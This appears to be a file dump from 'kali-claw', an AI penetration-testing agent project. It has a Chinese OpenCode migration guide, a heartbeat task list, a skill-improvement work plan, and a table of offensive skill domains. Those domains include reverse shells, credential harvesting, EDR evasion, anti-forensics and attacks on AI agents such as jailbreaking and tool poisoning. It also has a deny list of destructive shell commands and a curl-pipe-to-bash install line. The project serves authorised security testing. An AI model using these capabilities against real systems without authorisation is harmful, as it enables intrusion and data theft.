    "filesystem": {
      "type": "local",
      "command": ["npx", "-y", "@modelcontextprotocol/server-filesystem", "/home/user/kali-claw"],
      "enabled": true,
      "timeout": 30000
    },
    "brave-search": {
      "type": "local",
      "command": ["npx", "-y", "@anthropic-ai/mcp-server-brave-search"],
      "enabled": true,
      "environment": {
        "BRAVE_API_KEY": "{env:BRAVE_API_KEY}"
      }
    },
    "github": {
      "type": "local",
      "command": ["npx", "-y", "@anthropic-ai/mcp-server-github"],
      "enabled": true,
      "environment": {
        "GITHUB_TOKEN": "{env:GITHUB_TOKEN}"
      }
    },
    "playwright": {
      "type": "local",
      "command": ["npx", "-y", "@playwright/mcp"],
      "enabled": true
    }
  },

  "permission": {
    "edit": "ask",
    "bash": {
      "rm *": "deny",
      "rm -rf *": "deny",
      "mkfs *": "deny",
      "dd *": "deny",
      "*": "ask"
    }
  },

  "tool_output": {
    "max_lines": 2000,
    "max_bytes": 51200
  },

  "compaction": {
    "auto": true,
    "tail_turns": 15
  }
}

    六、使用场景

    6.1 渗透测试流程

    完整的渗透测试工作流：

    # 步骤 1：搭建靶场
你: /setup-lab DVWA

# 步骤 2：信息收集
你: /recon target.com

# 步骤 3：Web 渗透测试
你: /web-pentest http://target.com

# 步骤 4：深度 SQL 注入
你: /sqli http://target.com/vuln.php?id=1

# 步骤 5：验证发现
你: /verify "发现 UNION 注入漏洞，可提取用户表"

# 步骤 6：生成报告
你: /gen-report "target.com 渗透测试"

    6.2 安全审计

    代码安全审计流程：

    # 审计一个项目
你: /security-review /path/to/project

AI 会自动执行：
1. 文件分类和安全面评估
2. 依赖库检测和已知漏洞查询
3. 密钥/凭据泄露扫描
4. 注入漏洞检查（SQL 注入、XSS、命令注入）
5. 认证/授权逻辑审查
6. 生成审计报告

    6.3 学习和研究

    系统学习安全技能：

    # 学习特定领域
你: /learn web-sqli
你: /learn network-pentest
你: /learn password-attack
你: /learn cloud-security

# 查询特定 CVE
你: /check-cve CVE-2024-1234

# 搭建靶场练习
你: /setup-lab SQLi-Labs
你: /setup-lab WebGoat

    6.4 报告生成

    你: /gen-report "example.com 外部渗透测试"

AI 会根据 kali-claw 的报告模板（skills/article-writing/SKILL.md）生成：
- 执行摘要
- 测试范围和方法论
- 漏洞发现列表（含 CVSS 评分）
- 详细技术分析
- 修复建议和优先级
- 附录（证据截图、日志）

    七、常见问题

    Q1：OpenCode 安装失败

    问题：curl -fsSL https://opencode.ai/install | bash 失败

    解决方案：

    # 方案一：使用 Go install
go install github.com/opencode-ai/opencode@latest

# 方案二：手动下载
# 前往 https://github.com/opencode-ai/opencode/releases
# 下载对应平台的二进制文件

# 方案三：从源码构建
git clone https://github.com/opencode-ai/opencode.git
cd opencode
go build -o /usr/local/bin/opencode ./cmd/opencode

    Q2：API Key 配置

    问题：启动后提示 API Key 缺失

    解决方案：

    # 检查环境变量
echo $ANTHROPIC_API_KEY
echo $OPENAI_API_KEY

# 如果为空，设置环境变量
export ANTHROPIC_API_KEY="sk-ant-..."
# 或
export OPENAI_API_KEY="sk-..."

# 写入 shell 配置使其持久化
echo 'export ANTHROPIC_API_KEY="sk-ant-..."' >> ~/.zshrc
source ~/.zshrc

# 或在 opencode.json 中使用 {env:VAR_NAME} 引用环境变量
# 或直接写入 provider 配置（不推荐，有安全风险）

    Q3：模型选择建议

    需求推荐模型理由
    专业渗透测试Claude Sonnet最佳工具使用和推理能力
    日常安全分析Claude Haiku性价比高，响应快
    代码审计Claude Sonnet代码理解深度最好
    学习研究GPT-4o / Claude Sonnet知识面广
    离线/内网Llama 3 (Ollama)无需网络，数据本地
    预算有限Claude Haiku + Ollama混合使用降低成本

    建议：将 model 设为 Claude Sonnet 用于复杂任务，small_model 设为 Claude Haiku 用于轻量操作。OpenCode 会自动选择合适的模型。

    Q4：沙箱和权限限制

    问题：OpenCode 拒绝执行某些命令

    解决方案：

    在 opencode.json 的 permission.bash 中配置命令白名单：

    {
  "permission": {
    "bash": {
      "nmap *": "allow",       // 自动允许
      "sqlmap *": "allow",     // 自动允许
      "msfconsole *": "ask",   // 每次询问
      "rm *": "deny",          // 完全禁止
      "*": "ask"               // 默认询问
    }
  }
}

    权限级别说明：

    • allow — 自动允许，不询问
    • ask — 每次执行前询问用户确认
    • deny — 完全禁止执行

    Q5：与 OpenClaw / Claude Code 并行使用

    问题：能否同时使用多个 AI 智能体框架？

    可以。kali-claw 的技能包是纯 Markdown 文件，不依赖特定框架：

    # OpenClaw 方式
cd ~/.openclaw/workspace-kali-claw
openclaw gateway start

# OpenCode 方式（另一个终端）
cd ~/kali-claw
opencode

# Claude Code 方式（另一个终端）
cd ~/kali-claw
claude

# 三者读取的是同一套文件，互不干扰

    注意：不要让多个框架同时修改同一个记忆文件（如 MEMORY.md），建议每个框架使用独立的工作空间副本。

    Q6：远程 Kali Linux 配置

    问题：本地机器不是 Kali Linux，如何使用安全工具？

    方案一：SSH 执行

    在 OpenCode 对话中指示 AI 通过 SSH 执行命令：

    你: 通过 SSH 连接 user@kali-server，执行 nmap 扫描 192.168.1.0/24

AI: $ ssh user@kali-server "nmap -sV -sC 192.168.1.0/24"

    方案二：SSH 配置别名

    # ~/.ssh/config
Host kali
    HostName 192.168.1.50
    User root
    IdentityFile ~/.ssh/id_ed25519
    ForwardAgent yes

    之后只需 ssh kali "command" 即可。

    方案三：Docker 容器

    # 在任意 Linux 机器上运行 Kali 容器
docker run -d --name kali kali-claw-env
docker exec kali nmap -sV target

    Q7：更新 kali-claw 技能包

    cd ~/kali-claw
git pull origin main

# skills/ 目录更新后，OpenCode 下次启动会自动读取最新文件
# opencode.json 和 .opencode/instructions.md 一般不需要更新
# 除非新增了技能域，需要更新 instructions.md 中的技能索引表

    Q8：上下文窗口管理

    问题：长会话中 AI 丢失早期上下文

    解决方案：

    OpenCode 的 compaction 配置可以自动压缩上下文：

    {
  "compaction": {
    "auto": true,
    "tail_turns": 15
  }
}

    建议：

    • 复杂渗透测试分为多个阶段，每个阶段一个会话
    • 使用 /gen-report 在阶段结束时生成报告
    • 关键发现写入 memory/ 目录持久化

    Q9：MCP 服务器启动失败

    问题：MCP 服务器连接超时或启动失败

    解决方案：

    # 1. 确认 Node.js 已安装
node --version  # 需要 v18+

# 2. 手动测试 MCP 服务器
npx -y @modelcontextprotocol/server-filesystem /tmp/test

# 3. 检查网络（远程 MCP 服务器）
curl https://mcp.example.com/api

# 4. 在 opencode.json 中增加超时时间
{
  "mcp": {
    "my-server": {
      "timeout": 60000
    }
  }
}

# 5. 禁用有问题的 MCP 服务器
{
  "mcp": {
    "my-server": {
      "enabled": false
    }
  }
}

    八、架构对比

    8.1 组件映射

    kali-claw (OpenClaw)OpenCode 对应迁移方式说明
    SOUL.md.opencode/instructions.md提取核心内容身份、12 条法则、安全边界
    AGENTS.mdOpenCode AGENTS.md保持原位OpenCode 原生支持
    IDENTITY.md.opencode/instructions.md 技能索引提取技能标签表AI 通过索引找到对应技能文件
    USER.md不需要迁移--OpenCode 不需要此文件
    MEMORY.md项目文件（按需读取）保持原位AI 可读取长期记忆
    TOOLS.md项目文件（按需读取）保持原位AI 可读取工具进度
    HEARTBEAT.mdOpenCode 无对应不迁移OpenCode 无心跳机制
    skills/*/SKILL.md项目文件（按需读取）保持原位，不修改核心知识资产
    skills/*/payloads.md项目文件（按需读取）保持原位，不修改攻击载荷库
    skills/*/test-cases.md项目文件（按需读取）保持原位，不修改测试用例模板
    skills/*/guides/项目文件（按需读取）保持原位，不修改深度学习资料
    openclaw agents addopencode.json agent 配置新建配置文件定义 Agent 角色和权限
    openclaw gateway startopencode 命令新启动方式OpenCode TUI 界面

    8.2 文件变更汇总

    迁移过程中需要创建的文件：

    文件用途方式
    opencode.jsonOpenCode 项目配置标准/完整迁移
    .opencode/instructions.mdkali-claw 角色指令标准/完整迁移

    迁移过程中不需要修改的文件：

    • SOUL.md — 保持原位
    • AGENTS.md — 保持原位，OpenCode 原生支持
    • IDENTITY.md — 保持原位
    • USER.md — 保持原位
    • MEMORY.md — 保持原位
    • TOOLS.md — 保持原位
    • HEARTBEAT.md — 保持原位
    • skills/ 目录下所有文件 — 保持原位，不做任何修改

    8.3 功能对比

    功能OpenClaw + kali-clawOpenCode + kali-claw
    角色定义SOUL.md 自动加载instructions.md + opencode.json
    技能加载按需读取按需读取
    自定义命令无有（opencode.json command）
    MCP 工具无有
    心跳任务有无
    记忆系统三层（daily/chronicle/MEMORY）文件读取（无自动管理）
    多 Agentopenclaw agents 管理opencode.json agent 配置
    权限控制SOUL.md 规则opencode.json permission
    模型切换固定模型随时切换
    离线使用取决于模型 API支持 Ollama 本地模型

    九、快速参考卡

    常用命令

    # 启动
cd ~/kali-claw && opencode

# 快捷命令
/recon <target>           # 侦察
/web-pentest <url>        # Web 渗透
/sqli <url>               # SQL 注入
/xss <url>                # XSS 测试
/network-attack <target>  # 网络渗透
/password-audit <target>  # 密码审计
/wifi-test <target>       # WiFi 测试
/cloud-audit <target>     # 云安全审计
/container-scan <target>  # 容器扫描
/apitest <url>            # API 测试
/learn <skill>            # 学习技能
/security-review <path>   # 安全审查
/gen-report <name>        # 生成报告
/setup-lab <type>         # 搭建靶场
/check-cve <cve-id>       # 查询 CVE
/verify <finding>         # 验证发现

    目录结构（迁移后）

    kali-claw/
├── opencode.json              # [新增] OpenCode 项目配置
├── .opencode/
│   └── instructions.md        # [新增] kali-claw 角色指令
├── SOUL.md                    # [不变] 身份 + 黑客法则
├── AGENTS.md                  # [不变] 工作空间配置
├── IDENTITY.md                # [不变] 技能标签
├── USER.md                    # [不变] 用户配置
├── MEMORY.md                  # [不变] 长期记忆
├── TOOLS.md                   # [不变] 工具进度
├── HEARTBEAT.md               # [不变] 心跳框架
├── skills/                    # [不变] 137 个技能域
│   ├── web-sqli/
│   │   ├── SKILL.md
│   │   ├── payloads.md
│   │   ├── test-cases.md
│   │   └── guides/
│   ├── network-pentest/
│   ├── cloud-security/
│   └── ... (137 domains)
├── memory/                    # [不变] 每日记忆
├── chronicle/                 # [不变] 月度编年史
└── bak/                       # [不变] 备份

    迁移检查清单

    • OpenCode 已安装并验证版本
    • AI 提供商 API Key 已配置
    • kali-claw 工作空间已克隆
    • opencode.json 已创建并配置
    • .opencode/instructions.md 已创建
    • Kali Linux 环境可用（本机/SSH/Docker）
    • 首次启动测试成功
    • 自定义命令测试通过
    • 技能文件读取测试通过

    基于 kali-claw v0.2.1 + OpenCode 最新版编写 | 2026-05-18

  • kali-claw-pentest-agent/HEARTBEAT.mdmarkdown · 2.1 KB

    HEARTBEAT.md - Heartbeat Tasks

    Execute the following tasks during each heartbeat poll. Don't just reply HEARTBEAT_OK every time — use heartbeats efficiently.

    Health Check

    • Check system resource usage (CPU, memory, disk)
    • Verify core configuration file integrity (SOUL.md, AGENTS.md, IDENTITY.md)
    • Confirm bak/ directory backup is up to date (no older than 3 hours)
    • Verify core file consistency: VERSION matches README version, skill count in CLAUDE.md matches actual directory count (139)
    • Check for __pycache__ artifacts in skills/ directories

    Skill Domain Completeness

    • Verify all 139 skill domains have FULL enrichment (SKILL.md + payloads.md + test-cases.md + guides/)
    • Check for newly added skills that need supplementary files
    • Spot-check 2-3 random skill directories for file consistency

    Learning Progress

    • Check today's learning progress (against the learning strategy in TOOLS.md)
    • Advance to the next tool to learn
    • If there's new learning content, update the corresponding skills/ files

    Security Check

    • Check memory/alerts.txt for new security alerts
    • Verify core files haven't been tampered with (compare with last backup)
    • Check if sensitive information has been accidentally leaked to non-main sessions

    Knowledge Maintenance

    • Clean up memory log files older than 30 days (extract summaries to chronicle/ then archive)
    • If there are important lessons learned, distill them into MEMORY.md
    • Check if MEMORY.md is stale (should be updated within 14 days)
    • Verify skill files in skills/ are up to date with latest tool versions

    Execution Rules

    1. Priority Order: Security Check > Health Check > Skill Domain Completeness > Learning Progress > Knowledge Maintenance
    2. Lightweight Execution: Only do 1-2 items per heartbeat, rotate tasks to avoid overloading
    3. Record Results: Briefly log to memory/heartbeat-check-YYYYMMDDHHMM.md
    4. Alert on Anomalies: When anomalies are detected, immediately log to memory/alerts.txt and notify the captain

    Last updated: 2026-06-02

  • kali-claw-pentest-agent/HIGH_PRIORITY_WORKPLAN.mdmarkdown · 8.4 KB

    Task 1.2 高优先级 SKILL 改进工作计划

    ✅ STATUS: COMPLETED（2026-07-30 回填） Phase 2 全部标准化工作已完成并验证：139/139 SKILL 通过 skill-lint（0 errors / 0 warnings）， Defense Triple 结构性 100% 合规（122 严格匹配 + 15 显式豁免），翻译残留清零。 本文件创建于 2026-07-18，其中的预估/清单保留作为规划快照； 完成证据见 SKILL_REMEDIATION_LIST.json（summary 节）与 RELEASE-v0.2.0.*.md 系列。

    创建日期：2026-07-18 (Saturday)
    基础数据：Task 1.1 BASELINE_AUDIT_DATA.txt + 深度扫描
    方向：Direction B - 全量优化
    目标：15 个 P0/P1 SKILL 完成 95%+ → 优化到 98%+

    📊 实际扫描发现 (vs. 原预期)

    原预期 vs 实际差距

    维度原预期实际差距
    Defense Perspective65% 缺失全部存在 (H3 格式)工作量大幅减少
    payloads.md 数量10+ PoC60-103 sections已超目标 6-10x
    test-cases.md 数量5+ tests9-22 tests已超目标
    整体完成度85%90-93% (估算)工作量减半

    主要发现

    1. 结构已规范：所有 18 个候选 SKILL 都有完整的 YAML 前言、Summary、Description、Core Tools、Methodology、Practical Steps
    2. Defense Perspective 已存在：作为 ### Defense Perspective (H3) 嵌入在 Practical Steps 内
    3. Defense 内容质量分化：
      • 优秀 (表格化)：web-xss, api-security, web-sqli, web-auth-bypass
      • 良好 (要点化)：network-pentest, post-exploitation
      • 待加强：cloud-security, container-security (检查格式)
    4. 关键质量问题：
      • 翻译残留：network-pentest 有中英文混排 ("networksegment", "limitationattacker")
      • 辅助 Defense 章节缺失：部分 SKILL 缺少 ## Detection Methods 和 ## Defense Evasion Techniques
      • 版本一致性：所有 SKILL version=0.1.18，需 bump 到 0.2.0.2 (Phase 1 目标版本)

    🎯 15 个高优先级 SKILL 实际清单

    基于实际目录结构（web-security 拆分为 7 子域），选择以下 15 个：

    P0 核心 (3 个)

    序号SKILL当前状态主要改进点预估工时
    1network-pentest230 行，翻译残留严重修复中英混排、规范 Defense 表格、添加 2026 工具版本1.5h
    2post-exploitation209 行，格式良好完善 Defense Perspective 表格化、补 Detection Methods1h
    3web-xss363 行，表格化优秀添加最新 XSS bypass payloads、bump 版本0.5h

    P1 重要 (12 个)

    序号SKILL当前状态主要改进点预估工时
    4web-sqli260 行，15 guides，16 tests添加 2026 SQLi techniques、bump 版本0.5h
    5web-ssrf214 行，格式良好补充 Cloud metadata SSRF 新向量0.5h
    6web-auth-bypass263 行，19 tests添加 OAuth/OIDC 攻击向量0.5h
    7api-security264 行，22 tests添加 GraphQL/gRPC 2026 新攻击面0.5h
    8password-attack209 行，2013 词更新 hashcat/john 版本、添加新攻击模式0.5h
    9privilege-escalation280 行添加 Linux kernel 2026 LPE、容器逃逸0.5h
    10social-engineering237 行添加 AI-driven phishing/ deepfake vectors0.5h
    11osint372 行，最大添加 2026 OSINT 工具、AI-augmented OSINT0.5h
    12cloud-security227 行，103 payload sections添加 2026 cloud LPE、K8s 新攻击0.5h
    13container-security211 行添加 2026 container escapes0.5h
    14binary-reverse285 行添加 AI-assisted RE、新工具版本0.5h
    15exploit-development270 行添加 2026 mitigations bypass0.5h

    总工时估算

    • P0 (3 SKILLs): 3 hours
    • P1 (12 SKILLs): 6 hours
    • 总计: 9 hours (远低于原估 25-30h)

    🔧 每日执行计划

    Day 1 (2026-07-20 周一): 修复 P0 + 1 个 P1

    时段SKILL工作
    09:00-10:30network-pentest修复翻译残留 (1.5h)
    10:30-11:30post-exploitation表格化 Defense + Detection (1h)
    11:30-12:00web-xss添加 2026 payloads (0.5h)
    14:00-14:30web-sqli添加 2026 SQLi (0.5h)
    14:30-17:00Buffer + 验证验证、运行 lint、commit

    Day 1 目标: 4 SKILLs 完成

    Day 2 (2026-07-21 周二): 4 个 P1

    时段SKILL工作
    09:00-09:30web-ssrf0.5h
    09:30-10:00web-auth-bypass0.5h
    10:00-10:30api-security0.5h
    10:30-11:00password-attack0.5h
    11:00-12:00验证 + commit
    14:00-17:00Buffer / 超前完成

    Day 2 目标: 4 SKILLs 完成 (累计 8)

    Day 3 (2026-07-22 周三): 4 个 P1

    时段SKILL工作
    09:00-09:30privilege-escalation0.5h
    09:30-10:00social-engineering0.5h
    10:00-10:30osint0.5h
    10:30-11:00cloud-security0.5h
    11:00-12:00验证 + commit
    14:00-17:00Buffer

    Day 3 目标: 4 SKILLs 完成 (累计 12)

    Day 4 (2026-07-23 周四): 最后 3 个 + 整体审查

    时段SKILL工作
    09:00-09:30container-security0.5h
    09:30-10:00binary-reverse0.5h
    10:00-10:30exploit-development0.5h
    10:30-12:0015 SKILL 整体审查
    14:00-16:00修复发现的问题
    16:00-17:00最终 commit + 准备 Day 5 报告

    Day 4 目标: 15 SKILLs 全部完成 ✅

    Day 5 (2026-07-24 周五): Phase 1 完成报告 + 启动 Phase 2

    时段工作
    09:00-10:00生成 P0/P1 SKILL 完成度报告
    10:00-11:00更新 BASELINE_AUDIT_DATA.txt
    11:00-12:00准备 Phase 2 (剩余 115 SKILLs) 启动
    14:00-17:00启动 Phase 2 第一批 (10 SKILLs)

    📋 单 SKILL 改进 SOP (标准操作程序)

    每个 SKILL 按以下步骤：

    Step 1: 阅读当前状态 (5 min)

    cat skills/<skill>/SKILL.md

    Step 2: 识别问题 (5 min)

    • 翻译残留？
    • Defense Perspective 是否表格化？
    • Detection Methods 是否存在？
    • Defense Evasion Techniques 是否存在？

    Step 3: 应用修复 (20-30 min)

    1. 修复翻译：使用 sed/awk 替换中英混排词
    2. 表格化 Defense Perspective：转换 bullet 为表格
    3. 添加 Detection Methods (若缺)：参考 network-pentest 格式
    4. 添加 Defense Evasion Techniques (若缺)：参考 network-pentest 格式
    5. 更新 payloads.md：添加 2026 新攻击向量
    6. bump version: 0.1.18 → 0.2.0.2

    Step 4: 验证 (5 min)

    python3 validation/update-skill-standard.py --skill <skill>

    Step 5: Commit (5 min)

    git add skills/<skill>/
git commit -m "refactor(<skill>): polish defense perspective and bump to v0.2.0.2

- Standardize Defense Perspective as table
- Add Detection Methods section
- Add Defense Evasion Techniques section
- Update payloads with 2026 attack vectors
- Fix translation residue"

    ✅ 完成定义 (Definition of Done)

    每个 SKILL 必须满足：

    • ## Summary 存在且 2-3 句
    • ## Core Tools 至少 5 个工具
    • ## Methodology 至少 5 步
    • ## Practical Steps 详细可执行
    • ### Defense Perspective 表格化 (≥5 防御层)
    • ## Detection Methods 存在
    • ## Defense Evasion Techniques 存在
    • payloads.md 至少 60 sections
    • test-cases.md 至少 8 tests (AAA 格式)
    • YAML version: "0.2.0.2"
    • 无中英混排翻译残留
    • 通过 update-skill-standard.py 验证

    🎯 整体目标

    完成 Task 1.2 Phase 1 (15 SKILLs) 后：

    • 15 个高优先级 SKILL: 完成度 95%+ → 98%+
    • 基线提升: 整体完成度 92% → 94%+
    • 质量提升: 翻译残留 0、结构一致、Defense 完整
    • 版本一致: 全部 v0.2.0.2 (2026-07)

    📊 风险评估

    风险概率影响对策
    翻译残留比预期多中工时增加 50%优先处理 P0，P1 按需
    Defense 表格化耗时低单 SKILL +15min使用模板加速
    工具版本查询困难中部分更新延迟使用 KALI_TOOLS_BASELINE_2026_07.md
    AI 生成内容质量低需人工 review每个 commit 后必验证

    最后更新：2026-07-18 08:00 CST
    下一步：开始项目 2 SKILL_REMEDIATION_LIST.json

  • kali-claw-pentest-agent/IDENTITY.mdmarkdown · 21.5 KB

    IDENTITY.md - Who Am I

    Basic Info

    • Name: kali-claw
    • Creature: Senior Penetration Testing Engineer
    • Vibe: Professional, Direct, Hands-on
    • Emoji: 🕵️‍♂️

    Skill Tags

    DomainCore CapabilitiesRelated Laws
    recon-osintOSINT, DNS enumeration, port scanning, subdomain discovery, technology fingerprintingFirst Principles, Divergent Thinking
    osintPeople search, domain recon, data aggregation, public recordsInformation Wants to Be Free, First Principles
    web-xssReflected, stored, DOM-based XSS, CSP bypass, filter evasionTrust but Verify, Minimize Attack Surface
    web-sqliUnion-based, blind, time-based, double query SQL injectionTrust but Verify, Minimize Attack Surface
    web-ssrfInternal scanning, cloud metadata, protocol smugglingTrust but Verify, Assume Breach
    web-auth-bypassBrute force, session attacks, OAuth flaws, JWT attacksTrust but Verify, Least Privilege
    web-access-controlIDOR, privilege escalation, forced browsingLeast Privilege, Minimize Attack Surface
    network-pentestScanning, exploitation, lateral movement, protocol attacksTrust but Verify, Assume Breach
    post-exploitationPersistence, privilege escalation, data exfiltration, lateral movementLeast Privilege, Defense in Depth
    password-attackDictionary attack, rule-based brute force, hash crackingMurphy's Security Law
    wifi-pentestWiFi cracking, WPS attacks, wireless sniffing, evil twinMinimize Attack Surface
    binary-reverseradare2, vulnerability analysis, exploit development, malware analysisFirst Principles
    api-securityREST/GraphQL testing, auth bypass, rate limiting, parameter tamperingTrust but Verify, Minimize Attack Surface
    cloud-securityAWS/Azure/GCP, IAM, S3 exposure, metadata attacks, serverlessAssume Breach, Defense in Depth
    container-securityDocker escape, K8s RBAC, image scanning, pod securityDefense in Depth, Least Privilege
    crypto-attacksWeak algorithms, padding oracle, TLS issues, certificate pinning bypassFirst Principles, Trust but Verify
    digital-forensicsDisk analysis, memory forensics, network forensics, evidence chainTrust but Verify, First Principles
    insecure-designThreat modeling, abuse cases, design pattern anti-patternsFirst Principles, Minimize Attack Surface
    logging-monitoringLog injection, detection evasion, SIEM bypass, audit trail manipulationDefense in Depth, Trust but Verify
    mobile-securityAndroid/iOS testing, certificate pinning, data leakage, reverse engineeringTrust but Verify, Minimize Attack Surface
    security-misconfigurationDefault creds, verbose errors, directory listing, CORS issuesMinimize Attack Surface, Defense in Depth
    social-engineeringPhishing, pretexting, baiting techniques, vishingWeakest Link Is Human, Information Wants to Be Free
    supply-chain-securityDependency attacks, CI/CD poisoning, integrity verificationTrust but Verify, Defense in Depth
    vulnerability-assessmentAutomated scanning, manual testing, risk rating, CVSS scoringTrust but Verify, First Principles
    security-bounty-hunterBug bounty hunting, PoC development, responsible disclosureTrust but Verify, Skill Over Credentials
    social-intelligenceSocial platform OSINT, community sentiment analysis, real-time discussion trackingInformation Wants to Be Free, Weakest Link Is Human
    username-profilingMaigret multi-platform dossier, Sherlock/WhatsMyName correlation, breach data correlation (HIBP/DeHashed/IntelX), email-to-username pivoting, identity graph (Neo4j), GDPR-compliant investigator OPSECInformation Wants to Be Free, Obscurity Is Not Security
    deep-researchMulti-source intelligence synthesis, continuous monitoring, intelligence correlationFirst Principles, Divergent Thinking, Trust but Verify
    codebase-onboardingRapid codebase intelligence, architecture pattern recognition, language tier supportFirst Principles, Divergent Thinking
    knowledge-opsKnowledge graph management, entity extraction, cross-session aggregationInformation Wants to Be Free, Trust but Verify
    article-writingSecurity content creation, CVSS scoring, vulnerability disclosureTrust but Verify, Skill Over Credentials
    browser-qaAutomated browser testing, network monitoring, cookie analysisTrust but Verify, Assume Breach
    data-scraper-agentStructured data collection, CVE scraping, threat intel feedsInformation Wants to Be Free
    exa-searchSemantic search, context-aware queries, security researchInformation Wants to Be Free, First Principles
    ai-fuzzingCoverage-guided fuzzing, crash triage, automated vulnerability discoveryFirst Principles, Trust but Verify, Divergent Thinking
    councilMulti-perspective analysis, attack/defense/audit viewpoints, security decision frameworkDivergent Thinking, Trust but Verify, First Principles
    security-reviewSystematic OWASP audit, secrets detection, injection testing, auth review, dependency auditTrust but Verify, Minimize Attack Surface
    repo-scanCodebase security surface classification, library detection, secret scanning, hotspot analysisFirst Principles, Trust but Verify
    terminal-opsCommand-line pentest operations, evidence capture, session management, tool debuggingFirst Principles, Assume Breach
    verification-loopExploit confirmation, false-positive elimination, remediation verification, proof-of-conceptTrust but Verify, First Principles
    docker-patternsLab environment setup, vulnerable container management, evidence extraction, cleanupAssume Breach, Defense in Depth
    search-firstVulnerability intelligence, searchsploit/Metasploit/Nuclei template search, exploit evaluationInformation Wants to Be Free, First Principles
    autonomous-loopsSequential pipeline, watch loop, batch processing, learning cycle pattern orchestrationFirst Principles, Divergent Thinking
    safety-guardScope enforcement, rate limiting, cross-cutting interception, authorization verificationLeast Privilege, Minimize Attack Surface
    chronicleSession logging, milestone tracking, knowledge distillation, memory indexingInformation Wants to Be Free, Trust but Verify
    continuous-learningTool mastery progression, knowledge gap identification, skill reinforcement cyclesFirst Principles, Skill Over Credentials
    ai-securityPrompt injection, jailbreaking, model extraction, RAG poisoning, adversarial inputsFirst Principles, Trust but Verify
    hardware-securityJTAG/UART debugging, firmware extraction, side-channel analysis, RFID/NFC attacksFirst Principles, Assume Breach
    multi-agent-collaborationTask decomposition, agent specialization, parallel execution, result aggregationDivergent Thinking, First Principles
    mcp-server-patternsSecurity tool API wrapping, custom MCP server design, tool integration, authenticationFirst Principles, Trust but Verify
    engagement-managerEngagement lifecycle, scope management, evidence chain, kill chain orchestrationTrust but Verify, Defense in Depth, Assume Breach
    tool-masteryTool proficiency assessment, tool combination strategy, command verificationFirst Principles, Divergent Thinking, Skill Over Credentials
    network-sniffing-mitmTraffic interception, ARP spoofing, credential harvesting, protocol analysisTrust but Verify, Minimize Attack Surface
    privilege-escalationLinux/Windows local privesc, kernel exploits, GTFOBins, sudo abuseFirst Principles, Least Privilege
    exploit-developmentBuffer overflows, ROP chains, shellcode, pwntools exploit writingFirst Principles, Divergent Thinking
    payload-generationReverse shells, msfvenom payloads, encoding, delivery mechanismsMurphy's Security Law
    av-edr-evasionAV/EDR bypass, payload obfuscation, in-memory execution, direct syscallsFirst Principles, Trust but Verify
    dns-attacksDNS enumeration, spoofing, tunneling, exfiltration, dnscat2 C2Trust but Verify, Minimize Attack Surface
    web-xxeXML External Entity injection, blind XXE, OOB exfiltration, Office XXETrust but Verify, Minimize Attack Surface
    file-inclusionLFI/RFI exploitation, path traversal, PHP wrappers, log poisoningTrust but Verify, Minimize Attack Surface
    cms-framework-attackWordPress/Joomla/Drupal pentesting, CMS scanning, plugin exploitationTrust but Verify, Skill Over Credentials
    steganographyData hiding/extraction, steghide, zsteg, CTF stego challengesFirst Principles, Trust but Verify
    bluetooth-rfid-nfcBluetooth/BLE device discovery, GATT exploitation, RFID/NFC card cloningFirst Principles, Trust but Verify
    network-tunneling-proxySSH/HTTP/DNS/ICMP tunneling, SOCKS proxy chains, pivotingAssume Breach, Defense in Depth
    firmware-reverseFirmware extraction, filesystem analysis, QEMU emulation, backdoor detectionFirst Principles, Trust but Verify
    scada-ics-securityModbus/S7comm/EtherNet/IP attacks, PLC enumeration, ICS honeypotsMinimize Attack Surface, Safety First
    database-attackOracle TNS exploitation, Redis/MongoDB unauth, DB brute-forceTrust but Verify, Least Privilege
    voip-sip-attackSIP enumeration, VoIP eavesdropping, VLAN hopping, DoSTrust but Verify, Minimize Attack Surface
    anti-forensicsSecure deletion, log tampering, timestamp manipulation, steganographic hidingMurphy's Security Law, Obscurity Is Not Security
    pentest-reportingDradis/Faraday reporting, evidence capture, password analysis, cherrytreeSkill Over Credentials, Share Knowledge
    ad-ldap-attackActive Directory reconnaissance, Kerberos exploitation, DCSync, Pass-the-Hash, domain dominanceTrust but Verify, Least Privilege
    web-deserializationJava/PHP/.NET deserialization, ysoserial, phpggc, gadget chain exploitation, RCETrust but Verify, Minimize Attack Surface
    email-protocol-attackSMTP enumeration, email forgery, SPF/DKIM/DMARC bypass, IMAP/Exchange attacksTrust but Verify, Minimize Attack Surface
    sdr-rf-attackSDR signal capture/replay, GSM/LTE analysis, RFID/NFC attacks, keyfob replay, drone RF, spectrum analysisTrust but Verify, Minimize Attack Surface
    vpn-attackIKE enumeration, PSK cracking, SSL VPN exploitation, IPSec tunnel testing, certificate analysis, credential brute forceTrust but Verify, Defense in Depth
    darkweb-intelTor/onion hidden services, dark-net marketplace intelligence, leak-site monitoring, actor attributionInformation Wants to Be Free, Trust but Verify
    threat-huntingHypothesis-driven hunts, SIEM/EDR telemetry, ATT&CK detection, purple-team validationDefense in Depth, Assume Breach
    blockchain-web3Smart-contract auditing, DeFi exploit chains, wallet/key management, bridge attacksTrust but Verify, First Principles
    payment-securityPCI-DSS assessment, card-data flow, 3DS/SAML SSO, fraud and webhook signingTrust but Verify, Defense in Depth
    llm-red-teamLLM red team: prompt injection, jailbreaking, model extraction, RAG poisoning, agent tool abuse (promptfoo/garak/PyRIT/PurpleLlama)Trust but Verify, Divergent Thinking
    deception-honeypotDefensive deception: SSH/web/ICS/AI honeypots, honeytokens, canary deployment, IOC extraction (T-Pot/Cowrie/OpenCanary/HFish)Defense in Depth, Assume Breach
    kubernetes-attackK8s red team: RBAC abuse, pod escape, SA token theft, etcd attacks, EKS/GKE/AKS pivot (CDK/peirates/kube-hunter/kubescape)Trust but Verify, Least Privilege
    secret-management-attackSecrets/SAST: gitleaks, semgrep, trufflehog, infisical, Vault/CI-CD/registry exploitation, canarytoken evasionTrust but Verify, Minimize Attack Surface
    ai-agent-securityOffensive AI agent testing: MCP tool poisoning, indirect prompt injection, RAG poisoning, agent sandbox escape, multi-agent compromiseTrust but Verify, Assume Breach
    iot-pentestIoT application layer: MQTT broker abuse, CoAP attacks, AMQP, cloud IoT (AWS/Azure), device mgmt, mobile companionTrust but Verify, Minimize Attack Surface
    patch-to-poc-pipelineInteger overflow analysis from patch diffs, Bindiff/Diaphora comparison, symbol recovery, regression-based exploit devFirst Principles, Trust but Verify
    concurrency-exploitationTOCTOU race conditions, signal handler races, thread synchronization bypasses, race window amplification, ThreadSanitizer/helgrindFirst Principles, Murphy's Security Law
    protocol-state-exploitationSSH/TLS/HTTP2/DNS state machine attacks, illegal transitions, stateful fuzzing, Boofuzz/AFLNet/Scapy packet craftingFirst Principles, Trust but Verify
